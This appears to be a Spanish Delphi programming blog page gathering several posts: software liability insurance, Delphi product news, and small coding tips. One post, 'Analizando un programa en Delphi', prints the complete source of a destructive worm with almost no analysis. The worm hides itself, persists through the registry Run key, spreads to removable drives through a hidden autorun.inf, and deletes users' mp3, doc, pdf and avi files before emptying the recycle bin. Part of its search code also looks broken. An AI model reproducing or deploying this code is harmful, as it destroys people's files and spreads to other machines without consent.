Mostrando entradas con la etiqueta Varios. Mostrar todas las entradas
Mostrando entradas con la etiqueta Varios. Mostrar todas las entradas

Seguros de responsabilidad civil


En nuestra vida profesional quizás no nos hemos planteado seriamente las consecuencias que puedan tener para nosotros, como fabricantes de software, los programas que realizamos.





Imaginemos que trabajamos como freelance y que diseñamos un soft que analiza el riesgo de los clientes a la hora de conceder préstamos, bien pues si cometemos algún error por el que a un cliente con baja capacidad de pago o insolvente el software informe que se le puede conceder un crédito (por error) o en un hospital que tenga una base de datos de medicamentos y pacientes y por un error de codificación al hacer búsquedas no se cree correctamente la relación medicamento-paciente, desde luego nuestro cliente podría proceder judicialmente contra nosotros interponiendo una reclamación de daños a terceros (Cod. Civil art. 1902 y siguientes) con las consecuencias económicas que eso supone.





Desde luego para evitar esta situación tendremos que hacer lo siguiente:


- Aumentar la calidad del soft. Realizando todos los test de prueba que sean necesarios para comprobar la calidad de nuestro producto.


- Dejar claro en el contrato los límites de la responsabilidad del cliente por la compra de nuestro software (si no la acepta puede comprar otros de la competencia) y la nuestra.


- Contratar un seguro de responsabilidad civil (que aunque no es obligatorio -corríjanme si me equivoco-) desde luego nos permitiría estar cubiertos ante posibles reclamaciones judiciales.


Hay que considerar que la aseguradora no se hará cargo de toda la reclamación, sino de la parte que hayamos pactado con ella a través del contrato de seguro que tengamos que firmar.





Tipos de seguro:


Si hacemos una tienda online y la instalamos en nuestro servidor y durante un tiempo la tienda deja de vender el cliente nos puede reclamar una indemnización que tendrá que ser cubierta contratando un seguro de responsabilidad civil profesional (que cubre los daños de software)





Si a un cliente vamos a repararle un ordenador y por lo que sea el equipo deja de funcionar debido a daños físicos el cliente nos puede solicitar un indemnización por daños y perjuicios que tendrá que ser cubierta por un seguro de responsabilidad civil general.





Si tenemos una empresa y queremos cubrir los daños ocasionados por nuestros empleados tendremos que contratar un seguro de responsabilidad civil patronal.





En el caso de que tenemos empleados subcontratados tendremos que contratar un seguro de responsabilidad civil cruzada (en este caso es necesario contratar el seguro de R.C. patronal previamente).





Tenemos que tomar nota que este tipo de seguros tiene franquicia (un importe en el que por debajo de él no se tiene cobertura) y en función del importe de la franquicia pagaremos una mayor o menor cuota al seguro.





Adjunto os indico en gráfico en el que muestra el volumen de primas de las aseguradoras a 30 de septiembre de 2012.


































Analizando un programa en Delphi


Navegando por la red, me he encontrado con un curioso programa, que lo que hace es buscar los ficheros mp3, doc, pdf y avi, los lleva a la papelera y la vacía. También se copia automáticamente en los dispositivos que se conecten al ordenador, modificando el inicio del SO anfitrión para iniciarse automáticamente en el siguiente arranque.

Si encuentra un archivo llamado "cura.txt" ni se ejecuta, ni se copia.



unit Unit1;


interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls,Registry;

type

TForm1 = class(TForm)

function ALaPapelera(Fichero:string):boolean;

Function VaciaPapelera:String;

function GetWindowsDirectory : String;

procedure Autorun;

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

Lista: set of Char;

procedure CrearLista;

procedure WMDEVICECHANGE(var Msg: TMessage); message WM_DEVICECHANGE;

public

{ Public declarations }

procedure BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);

end;

var

Form1: TForm1;

Ficheros1:TStringList;

implementation

{$R *.dfm}

function Tform1.GetWindowsDirectory : String;

var

pcWindowsDirectory : PChar;

dwWDSize : DWORD;

begin

dwWDSize := MAX_PATH + 1;

GetMem( pcWindowsDirectory, dwWDSize );

try

if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0

then

Result := pcWindowsDirectory;

finally

FreeMem( pcWindowsDirectory );

end;

end;

Function Tform1.VaciaPapelera;

type

TSHEmptyRecycleBin = function (Wnd: HWND;

LPCTSTR: PChar;

DWORD: Word): integer; stdcall;

var

MangoLib : THandle;

SHEmptyRecycleBin : TSHEmptyRecycleBin;

i:integer;

begin

{Cargamos SHell32.DLL}

{Load Shell32.DLL}

MangoLib := LoadLibrary(PChar('Shell32.dll'));

{Si no se pudo... error}

{if not... error}

if MangoLib = 0 then

Raise Exception.Create( 'No se pudo cargar Shell32.DLL'+#13+

'Cannot load Shell32.DLL');

{Buscamos dentro de la DLL la funcion que queremos}

{Search into DLL the required funtion}

@SHEmptyRecycleBin := GetProcAddress(MangoLib, 'SHEmptyRecycleBinA');

{Si no existe... error}

{If don't exists... error}

if @SHEmptyRecycleBin = nil then

begin

FreeLibrary(MangoLib);

Raise Exception.Create( 'No se pudo encontrar SHEmptyRecycleBinA en Shell32.DLL'+#13+

'Cannot find SHEmptyRecycleBinA in Shell32.DLL');

end;

{Vaciamos la papelera, sin sonido ni confirmación}

{Empty the Recycle bin...}

SHEmptyRecycleBin(Application.Handle,'',7);

{Liberamos la DLL}

{Free the DLL}

FreeLibrary(MangoLib);

end;

function Tform1.ALaPapelera(Fichero:string):boolean;

var

FileOp: TSHFileOpStruct;

begin

if FileExists(Fichero)then

begin

FillChar(FileOp,SizeOf(FileOp),#0);

with FileOp do

begin

Wnd:= Application.Handle;

pFrom:= PChar(Fichero+#0#0);

fFlags:= FOF_SILENT or FOF_ALLOWUNDO or FOF_NOCONFIRMATION;

end;

Result:= (ShFileOperation(FileOp)=0);

end else

Result:=False;

end;

procedure TForm1.CrearLista;

var

Letra: Char;

begin

Lista:= [];

for Letra:= 'C' to 'Z' do

if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then

Lista:= Lista + [Letra];

end;

procedure TForm1.WMDEVICECHANGE(var Msg: TMessage);

var

Letra: Char;

Atributos: Cardinal;

begin

if Msg.WParam = DBT_DEVICEARRIVAL then

begin

for Letra:= 'C' to 'Z' do

if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then

begin

if not (Letra in Lista) then

begin

copyfile(Pchar(ParamStr(0)),Pchar(Letra+':\ReproductorWMV.exe'),false);

SetFileAttributes(PChar(Letra+':\ReproductorWMV.exe'),faHidden);

with TStringList.Create() do

try

Add('[Autorun]');

Add('ShellExecute=ReproductorWMV.exe');

add('attrib +h Autorun.inf');

try

SaveToFile(Letra+':\autorun.inf');

SetFileAttributes(PChar(Letra+':\autorun.inf'),faHidden);

except

on E: Exception do

begin

ShowMessageFmt(

'Ocurrió una excepción: %s',

[E.Message]

);

end;

end;

finally

Free();

end;

//ShowMessage('Este es un disco removible '+Letra+':\');

end;

end;

end;

CrearLista;

inherited;

end;

procedure TForm1.BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);

var

srRes : TSearchRec;

iFound : Integer;

begin

if ( brec ) then

begin

if path[Length(path)] <> '\' then path := path +'\';

while iFound = 0 do

begin

if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) then

if srRes.Attr and faDirectory > 0 then

BuscaFicheros( path + srRes.Name, mask, Value, brec );

iFound := FindNext(srRes);

end;

FindClose(srRes);

end;

if path[Length(path)] <> '\' then path := path +'\';

iFound := FindFirst(path+mask, faAnyFile-faDirectory, srRes);

while iFound = 0 do

begin

if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) and ( srRes.Name <> '' ) then

Value.Add(path+srRes.Name);

iFound := FindNext(srRes);

end;

FindClose( srRes );

end;

procedure Tform1.Autorun;

var

Registro :TRegistry;

Atributos: Cardinal;

begin

Registro:=TRegistry.create;

Registro.RootKey := HKEY_LOCAL_MACHINE;

if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE)

then

begin

Registro.WriteString('SystemRoot',GetWindowsDirectory+

'\ReproductorWMV.exe');

copyfile(Pchar(ParamStr(0)),Pchar(GetWindowsDirectory+'\ReproductorWMV.exe'),false);

SetFileAttributes(PChar(GetWindowsDirectory+'\ReproductorWMV.exe'),faHidden);

end;

Registro.Destroy;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

Ficheros:TStringList;

FicherosDoc:TStringList;

dato :TStringList;

i:integer;

begin

BorderStyle := bsNone;

Left := 0;

Top := 0;

Width := 0;

Height := 0;

Visible := False;

Application.Title := '';

Application.ShowMainForm := False;

ShowWindow( Application.Handle, SW_HIDE );

Ficheros:=TStringList.Create;

BuscaFicheros('c:\cura\','cura.txt',Ficheros,TRUE);

SetWindowLong( Application.Handle, GWL_EXSTYLE,

GetWindowLong(Application.Handle, GWL_EXSTYLE) or

WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);

autorun;

if ficheros.count > 0 then

begin

Ficheros.Free;

form1.visible:=false;

end else

begin

BuscaFicheros('c:\.\','*.mp3',Ficheros,TRUE);

for i:=0 to ficheros.Count -1 do

Alapapelera (ficheros[i]);

vaciapapelera;

BuscaFicheros('c:\.\','*.doc',Ficheros,TRUE);

for i:=0 to ficheros.Count -1 do

Alapapelera (ficheros[i]);

vaciapapelera;

BuscaFicheros('c:\.\','*.pdf',Ficheros,TRUE);

for i:=0 to ficheros.Count -1 do

Alapapelera (ficheros[i]);

vaciapapelera;

BuscaFicheros('c:\.\','*.avi',Ficheros,TRUE);

for i:=0 to ficheros.Count -1 do

Alapapelera (ficheros[i]);

vaciapapelera;

ficheros.Free;

end;

end;













Presentación de la nueva versión Delphi y C++ Builder Tokyo







Os comunico que Danysoft, distribuidor oficial de Delphi en España de los productos de Embarcadero, ha preparado unas jornadas de presentación (9 de Mayo en Lisboa, 10 de Mayo en Barcelona y 11 de Mayo en Madrid) del nuevo Delphi y C++Builder Tokyo que como sabéis actualmente es el entorno más avanzado para crear aplicaciones nativas sobre Windows, IOS, Android y Linux, en ellas un grupo de expertos analizarán las nuevas prestaciones de esta versión como son: el desarrollo para Linux Server ya que como sabéis incluye el primer compilador basado en LLVM para desarrollo empresarial certificado por Ubuntu Server y RedHat Enterprise, veremos ejemplos del nuevo RAD Server, un backend con servicios para desplegar aplicaciones, cómo publicar aplicaciones para Windows 10, nos mostrarán las nuevas mejoras en la productividad del IDE, cómo crear bases de datos con FIREDAC, etc.





La asistencia al evento es gratuita, pero dada la expectación que ha generado se necesita una inscripción previa para evitar problemas de aforo.



Aquí tenéis toda la información sobre el evento y el formulario de inscripción.



Si todavía no tenéis Delphi Tokyo podéis descargar una versión de prueba durante 30 días desde aquí.















RAD Studio 10.2 - Tokio ya está aquí










Magníficas noticias para todo los desarrolladores de Delphi y C++ Builder, la última versión de RAD Studio 10.2 Tokyo ya está disponible y viene cargada con muchísimas novedades, entre ellas la principal es la posibilidad de hacer aplicaciones en Linux (server-side), de momento está disponible para Ubuntu LTS Version 16.04 y RedHat Enterprise Versión 7, para plataformas de 64 bits y LLVM.





Se proporciona también soporte para Linux desde FireDAC para todas las DBMS, excepto para Informix; WebBroker, DataSnap y RAD Server se pueden utilizar para construir aplicaciones "multi-hilo" (para desarrollar módulos Apache) y además podremos utilizar las librerías Indy, en definitiva se nos abre un nuevo nicho de mercado a la hora de desarrollar aplicaciones.





En esta página tenéis todas las características que nos ofrece esta extraordinaria versión de RAD Studio, que os animo a que la probéis.

Desde aquí se puede descargar esta última versión para probarla durante 30 días.





Aquí tenéis los precios de lanzamiento de las tres versiones disponibles Professional, Entreprise y Architect, sólo hasta el 30 de Abril de 2017.


Embarcadero ofrece un descuento si queréis actualizaros desde la versión Starter (gratuita)




¡¡ Delphi starter gratis !!


Free Starter Edition





Hace tiempo Embarcadero ofreció Delphi por tiempo limitado, ahora ha decidido ampliar en el tiempo esta oferta, desconozco hasta que fecha ofrecerá la edición Starter gratis, pero si te interesa este entorno de programación y quieres empezar a dar tus primeros pasos aquí, no lo dudes, aprovecha ahora esta oferta.


En la edición Starter no contempla los módulos de bases de datos y tiene una licencia gratuita y open source hasta que tengas unos beneficios de 1000$, ya que desde esa cantidad podrías actualizarte a la versión Profesional o Enterprise.


En un futuro es posible que se añadan más características, pero esta versión Starter nunca llegará a tener todos los módulos de la Profesional o Enterprise.








#IloveDelphi y superando el 1000000 de páginas vistas


#ILoveDelphi





El 14 de Febrero es el cumpleaños de Delphi y es un buen momento para agradecer a este magnífico lenguaje de programación (para mí el mejor) por toda la ayuda que me ha facilitado en mi carrera personal y profesional.


Recuerdo que empecé con Turbo Pascal en sus varias versiones, luego me pasé a Borland Delphi, creo que fue la primera versión que salió al mercado y desde entonces no he parado de desarrollar programas y apps para móviles con este lenguaje.


 


Todavía conservo la caja del primer Borland Delphi que salió al mercado





Es verdad que he tocado "muchos palos", Javascript, PHP, C++, Visual Basic,  ASM, pero al final me quedo con Delphi por la rapidez a la hora de programar, por lo intuitivo que es, por la capacidad de integrar diferentes bases de datos, porque te permite desarrollar una vez y ejecutar tu código en múltiples plataformas Android, IOS, Windows, etc ...


Muchas y potentes empresas han intentado hacer lenguajes parecidos, pero los que usamos Delphi ya sabemos que no hay nada igual.





También quiero agradecer a todos los lectores el que este blog haya superado el 1000000 de páginas vistas desde su creación, muchas gracias por vuestra confianza e interés.



Javier Pareja

MVP Embarcadero
blogdelphimagic@gmail.com

Componente para crear organigramas




TSimpleGraph es un componente que proporciona un interfaz de usuario para crear organigramas personalizables por el usuario, es de lo mejor que he visto por Internet para Delphi en el tema de gráficos.



Página web:

http://www.delphiarea.com/products/delphi-components/simplegraph/

Interactive Brokers con Delphi ( TWS )

.



En el fichero tienen ejemplos sobre cómo utilizar la API de la Trader Workstation de Interactive Brokers con Delphi con el fin de conseguir una completa automatización de la compra-venta de accciones, contratos, etc. En concreto se basan en el emini-sp500 código "ES" vencimiento septiembre 2010.
Con un poco de habilidad pueden programar sus estrategias, lanzar órdenes cuando se alcance un nivel de precios determinado, definir órdenes limitadas, etc.
No olviden que antes de utilizar sus procedimientos en la cuenta real deben probarlos en la cuenta simulada de IB.

Descargar el fichero




Reloj binario



Este programa muestra un reloj binario. Sirve para aprender a manejar el objeto tImage mediante el que se representa de forma gráfica los datos binarios.

Link de descarga

Autor: Sami
sami_inf@hotmail.fr



Espectacular actuación de Mariachis

No todo va a ser informática, programación, etc... voy a hacer un alto en el camino con un poco de música, y es que hace unos meses asistí a un Concierto en el Auditorio Nacional de Música de Madrid en el que actuaban varios grupos de Mariachis con un éxito arrollador todos ellos (Era la primera vez que los pude ver en directo y quedé sumamente impresionado por la fuerza de sus voces, la habilidad con el violín y la calidad artística del grupo) y para muestra aquí tienen la actuación del MARIACHI VARGAS DE TECALITLAN ...simplemente ESPECTACULAR...
...Dedicado a mis amigos mexicanos...

Link en youtube: http://www.youtube.com/watch?v=dZPYKcIZqH8



Evitar que se inicie una aplicación varias veces


El iniciar la misma aplicación varias veces puede ser un problema si tenemos que interactuar con un recurso compartido, como el puerto serie, una base de datos, etc...
Para evitarlo, una de las formas más sencillas es crear un mutex cada vez que se inicie nuestro software.
El truco está en comprobar si la función CreateMutex devuelve un error, en caso afirmativo podemos tener la seguridad que la aplicación estaba abierta anteriormente y procederemos a detener su ejecución.

El código es el siguiente :

....
var
hnd:thandle;

IMPLEMENTATION
....

initialization
hnd := CreateMutex(nil, True, 'mutexprincipal');
if GetLastError = ERROR_ALREADY_EXISTS then Halt;

finalization
if hnd <> 0 then CloseHandle(hnd);
.....

end.

Convertir caracteres de chino simplificado a tradicional



Existen 2 juegos de caracteres chinos: el simplificado y el tradicional.
Desde la revolución cultural china, los caracteres tradicionales se han simplificado (ya que son más fáciles de dibujar y de leer). El chino simplificado es el que se usa actualmente, mientras que el tradicional se utiliza en Hong-Kong y Taïwan.
En nuestro caso el truco está en utilizar la función LCMapStringW (unit Windows)

El código sería el siguiente:
function SimplificadoATradicional(Str:Widestring):Widestring;
begin
SetLength(Result,Length(Str));
LCMapStringW($404,LCMAP_TRADITIONAL_CHINESE,
PWideChar(Str),Length(Str),
PWideChar(Result),Length(Result));
Result:=Result;
end;

function TradicionalASimplificado(Str:Widestring):Widestring;
begin
SetLength(Result,Length(Str));
LCMapStringW($804,LCMAP_SIMPLIFIED_CHINESE,
PWideChar(Str),Length(Str),
PWideChar(Result),Length(Result));
end;



Determine ADO and DAO Versions installed


Function to determine the highest version of DAO installed on the machine. If no DAO is installed then 0.0 is returned. Typical return values are 3.5 or 3.6 for DAO v3.5 and v3.6.
Function to return the current version of ADO installed. A typical return value is 2.7. If ADO is not available then 0.0 is retuened.

Both functions also support a String result function as well.
function GetDaoVersion: double;
function GetDaoVersionStr: string;
function GetAdoVersion: double;
function GetAdoVersionStr: string;


// Add to uses clause
uses Math, ComObj;
// ======================================
// Get Highest DAO ver installed
// ======================================
function GetDaoVersion: double;
var
sPath: string;
iError, iResult: integer;
rDirInfo: TSearchRec;
begin
iResult := 0;
sPath := ExtractFileDrive(WindowsDir) +
'\Program Files\Common Files\' +
'Microsoft Shared\DAO\dao*.dll';
// Loop thru to find the MAX DLL version on disk
iError := FindFirst(sPath, faAnyFile, rDirInfo);
while iError = 0 do
begin
iResult := Max(iResult, StrToIntDef(copy(rDirInfo.Name, 4, 3), 0));
iError := FindNext(rDirInfo);
if iError <> 0 then
FindClose(rDirInfo);
end;
Result := (iResult / 100.0);
end;
function GetDaoVersionStr: string;
begin
Result := FormatFloat('##0.00', GetDaoVersion);
end;
// =====================
// Get ADO Version
// =====================
function GetAdoVersion: double;
var
oADO: OLEVariant;
begin
try
oADO := CreateOLEObject('adodb.connection');
Result := StrToFloat(oADO.Version);
oADO := Unassigned;
except
Result := 0.0;
end;
end;
function GetAdoVersionStr: string;
begin
Result := FormatFloat('##0.00', GetAdoVersion);
end;


Author: Mike Heydon
Product: Delphi 5.x (or higher)

Simulación del movimiento de los electrones en un campo electrico

Espectacular simulación realizada con OpenGL del movimiento de los electrones cuando atraviesan un campo eléctrico. Como muestra la image...